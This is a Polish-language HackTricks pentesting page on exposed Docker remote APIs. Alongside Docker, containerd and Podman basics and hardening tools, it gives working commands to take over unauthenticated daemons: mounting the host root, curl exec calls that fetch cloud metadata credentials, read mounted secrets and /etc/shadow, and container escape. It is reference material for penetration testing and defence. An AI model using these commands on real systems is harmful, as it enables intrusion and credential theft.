2375, 2376 Pentesting Docker

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawy Dockera

Co to jest

Docker jest wiodącą platformą w branży konteneryzacji, stojąc na czele ciągłych innowacji. Umożliwia bezproblemowe tworzenie i dystrybucję aplikacji — od tradycyjnych po futurystyczne — oraz zapewnia ich bezpieczne wdrażanie w różnych środowiskach.

Podstawowa architektura Dockera

  • containerd: Jest to główny runtime dla kontenerów, odpowiedzialny za kompleksowe zarządzanie cyklem życia kontenera. Obejmuje to obsługę transferu i przechowywania obrazów, a także nadzór nad uruchamianiem, monitorowaniem i sieciowaniem kontenerów. Bardziej szczegółowe informacje o containerd są omówione dalej.
  • The container-shim odgrywa kluczową rolę jako pośrednik w obsłudze headless containers, płynnie przejmując rolę po runc po zainicjowaniu kontenerów.
  • runc: Ceniony za swoje możliwości jako lekki i uniwersalny container runtime, runc jest zgodny ze standardem OCI. Używany jest przez containerd do uruchamiania i zarządzania kontenerami zgodnie z wytycznymi OCI, wyewoluował z pierwotnego libcontainer.
  • grpc jest niezbędny do umożliwienia komunikacji między containerd a docker-engine, zapewniając wydajną interakcję.
  • The OCI odgrywa kluczową rolę w utrzymywaniu specyfikacji OCI dla runtime i obrazów, a najnowsze wersje Dockera są zgodne zarówno ze standardem obrazu OCI, jak i runtime.

Podstawowe polecenia

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd został specjalnie opracowany, aby zaspokoić potrzeby platform kontenerowych takich jak Docker and Kubernetes, między innymi. Ma na celu uproszczenie uruchamiania kontenerów na różnych systemach operacyjnych, w tym Linux, Windows, Solaris i innych, poprzez abstrakcję funkcji specyficznych dla systemu operacyjnego i wywołań systemowych. Celem Containerd jest zawierać tylko niezbędne funkcje wymagane przez jego użytkowników, dążąc do pominięcia zbędnych komponentów. Jednak pełne osiągnięcie tego celu jest uznawane za trudne.

Kluczową decyzją projektową jest to, że Containerd does not handle networking. Sieć jest uważana za krytyczny element w systemach rozproszonych, ze złożonościami takimi jak Software Defined Networking (SDN) i odkrywanie usług (service discovery), które znacznie różnią się między platformami. Dlatego Containerd pozostawia aspekty związane z siecią do zarządzania przez platformy, które wspiera.

Chociaż Docker utilizes Containerd do uruchamiania kontenerów, warto zauważyć, że Containerd wspiera tylko podzbiór funkcjonalności Dockera. Konkretnie, Containerd nie ma możliwości zarządzania siecią obecnych w Docker i nie obsługuje bezpośrednio tworzenia Docker swarms. To rozróżnienie podkreśla skoncentrowaną rolę Containerd jako środowiska uruchomieniowego kontenerów, delegując bardziej wyspecjalizowane funkcjonalności platformom, z którymi się integruje.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman to open-source engine kontenerów zgodny ze standardami Open Container Initiative (OCI), rozwijany i utrzymywany przez Red Hat. Wyróżnia się na tle Docker kilkoma cechami, w tym przede wszystkim architekturą bez demona oraz obsługą kontenerów uruchamianych bez uprawnień root, co pozwala użytkownikom na uruchamianie kontenerów bez uprawnień root.

Podman został zaprojektowany tak, aby być kompatybilny z API Docker, umożliwiając użycie poleceń Docker CLI. Ta kompatybilność obejmuje również jego ekosystem, który zawiera narzędzia takie jak Buildah do budowania obrazów kontenerów oraz Skopeo do operacji na obrazach, takich jak push, pull i inspect. Więcej informacji o tych narzędziach znajduje się na ich GitHub page.

Kluczowe różnice

  • Architecture: W przeciwieństwie do modelu klient-serwer Dockera z procesem demona w tle, Podman działa bez demona. Dzięki temu kontenery działają z uprawnieniami użytkownika, który je uruchamia, zwiększając bezpieczeństwo przez wyeliminowanie potrzeby dostępu root.
  • Systemd Integration: Podman integruje się z systemd do zarządzania kontenerami, umożliwiając zarządzanie kontenerami przez jednostki systemd. Kontrastuje to z wykorzystaniem systemd w Docker głównie do zarządzania procesem demona Dockera.
  • Rootless Containers: Kluczową funkcją Podman jest możliwość uruchamiania kontenerów z uprawnieniami użytkownika inicjującego. To podejście minimalizuje ryzyko związane z naruszeniem kontenera, ponieważ napastnik zyskuje jedynie uprawnienia skompromitowanego użytkownika, a nie dostęp root.

Podejście Podman oferuje bezpieczną i elastyczną alternatywę dla Docker, kładąc nacisk na zarządzanie uprawnieniami użytkownika i zgodność z istniejącymi workflowami Docker.

Tip

Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:

podman --version
podman info
pdoman images ls
podman ls

Basic Information

Remote API działa domyślnie na porcie 2375 po włączeniu. Usługa domyślnie nie będzie wymagać uwierzytelnienia, co pozwala atakującemu na uruchomienie uprzywilejowanego kontenera docker. Korzystając z Remote API można podłączyć hosta / (katalog root) do kontenera oraz odczytywać/zapisywać pliki środowiska hosta.

Domyślny port: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeration

Manual

Zauważ, że aby enumerate the docker API możesz użyć polecenia docker lub curl, jak w poniższym przykładzie:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Jeśli możesz skontaktować się ze zdalnym docker API za pomocą polecenia docker, możesz wykonać dowolne z docker poleceń wspomnianych wcześniej, aby wejść w interakcję z usługą.

Tip

Możesz export DOCKER_HOST="tcp://localhost:2375" i uniknąć używania parametru -H z poleceniem docker

Szybka eskalacja uprawnień

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

Czasami zobaczysz, że 2376 jest aktywne dla TLS endpointu. Nie udało mi się połączyć z nim za pomocą docker client, ale można to zrobić przy użyciu curl.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Jeśli chcesz więcej informacji na ten temat, są one dostępne w źródle, z którego skopiowałem polecenia: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automatyczny

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Kompromitacja

Na poniższej stronie znajdziesz sposoby na escape from a container:

Container Security

Wykorzystując to, możliwe jest escape from a container — możesz uruchomić słaby container na remote machine, escape from it i compromise the machine:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Privilege Escalation

Jeśli jesteś na hoście korzystającym z docker, możesz read this information to try to elevate privileges.

Odkrywanie sekretów w działających kontenerach Docker

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Sprawdź env (sekcja zmiennych środowiskowych) pod kątem sekretów i możesz znaleźć:

  • Hasła.
  • Adresy IP.
  • Porty.
  • Ścieżki.
  • Inne… .

Jeśli chcesz wyodrębnić plik:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Zabezpieczanie Dockera

Zabezpieczanie instalacji i użycia Dockera

  • Możesz użyć narzędzia https://github.com/docker/docker-bench-security aby przeanalizować obecną instalację Dockera.
  • ./docker-bench-security.sh
  • Możesz użyć narzędzia https://github.com/kost/dockscan aby sprawdzić obecną instalację Dockera.
  • dockscan -v unix:///var/run/docker.sock
  • Możesz użyć narzędzia https://github.com/genuinetools/amicontained aby sprawdzić uprawnienia, jakie kontener będzie miał przy uruchomieniu z różnymi opcjami bezpieczeństwa. To przydatne, by poznać konsekwencje użycia niektórych opcji bezpieczeństwa przy uruchamianiu kontenera:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Zabezpieczanie obrazów Docker

  • Możesz użyć obrazu Dockera https://github.com/quay/clair aby przeskanować inne obrazy Docker i znaleźć podatności.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Zabezpieczanie Dockerfile

Rejestrowanie podejrzanej aktywności

  • Możesz użyć narzędzia https://github.com/falcosecurity/falco do wykrywania podejrzanych zachowań w uruchomionych kontenerach.
  • Zwróć uwagę w poniższym fragmencie, jak Falco kompiluje moduł jądra i wstawia go. Następnie ładuje reguły i zaczyna rejestrować podejrzane działania. W tym przypadku wykrył uruchomienie 2 uprzywilejowanych kontenerów, jeden z nich z wrażliwym mountem, a po kilku sekundach wykrył otwarcie powłoki wewnątrz jednego z kontenerów.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Monitorowanie Docker

Możesz użyć auditd do monitorowania docker.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks